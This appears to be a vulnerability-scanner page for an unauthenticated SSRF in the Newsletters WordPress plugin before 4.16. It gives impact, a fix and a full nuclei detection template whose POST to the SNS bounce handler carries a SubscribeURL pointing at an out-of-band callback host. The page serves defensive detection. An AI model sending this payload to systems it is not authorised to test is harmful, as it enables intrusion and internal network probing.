Newsletters < 4.16 - Unauthenticated SSRF via SNS Bounce Handler

mediumseverity

5.3CVSS score

0.7%likelihood of exploitation, next 30 days

55%of all CVEs are less likely

Readycheck to confirm it

Newsletters WordPress plugin < 4.16 contains a server-side request forgery caused by lack of authentication and validation in bounce-processing requests, letting unauthenticated attackers make arbitrary requests to internal or external hosts.

Impact

Unauthenticated attackers can make the server send requests to arbitrary hosts, potentially leading to internal network scanning or interaction with unintended services.

Fix

Update to version 4.16 or later.

How to confirm it

Send: GET /wp-content/plugins/newsletters-lite/readme.txt
Positive when: status_code == 200 and contains_all(body, "Newsletters", "newsletters")
Send: POST /?wpmlmethod=bounce&type=sns
Positive when: status_code == 200 and contains(interactsh_protocol, "http")

Run it with nuclei: nuclei -id CVE-2026-16268 -u <target>

The full check

id: CVE-2026-16268

info:
  name: Newsletters < 4.16 - Unauthenticated SSRF via SNS Bounce Handler
  author: str4k3r
  severity: medium
  description: |
    Newsletters WordPress plugin < 4.16 contains a server-side request forgery caused by lack of authentication and validation in bounce-processing requests, letting unauthenticated attackers make arbitrary requests to internal or external hosts.
  impact: |
    Unauthenticated attackers can make the server send requests to arbitrary hosts, potentially leading to internal network scanning or interaction with unintended services.
  remediation: |
    Update to version 4.16 or later.
  reference:
    - https://wpscan.com/vulnerability/65612dd4-83d8-40c5-8e12-862e9b5f940b/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16268
  classification:
    cve-id: CVE-2026-16268
    epss-score: 0.00733
    epss-percentile: 0.5471
    cwe-id: CWE-918
    cvss-score: 5.3
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
  metadata:
    verified: true
    max-request: 1
    vendor: newsletters-lite
    product: newsletters-lite
    framework: wordpress
    fofa-query: body="/wp-content/plugins/newsletters-lite/"
    shodan-query: http.html:"/wp-content/plugins/newsletters-lite/"
  tags: cve,cve2026,wordpress,wp-plugin,newsletters-lite,ssrf,unauth,oast

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Newsletters", "newsletters")'
        condition: and
        internal: true

  - raw:
      - |
        POST /?wpmlmethod=bounce&type=sns HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"Type":"SubscriptionConfirmation","SubscribeURL":"http://{{interactsh-url}}/nuclei-ssrf-probe","Message":"{}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from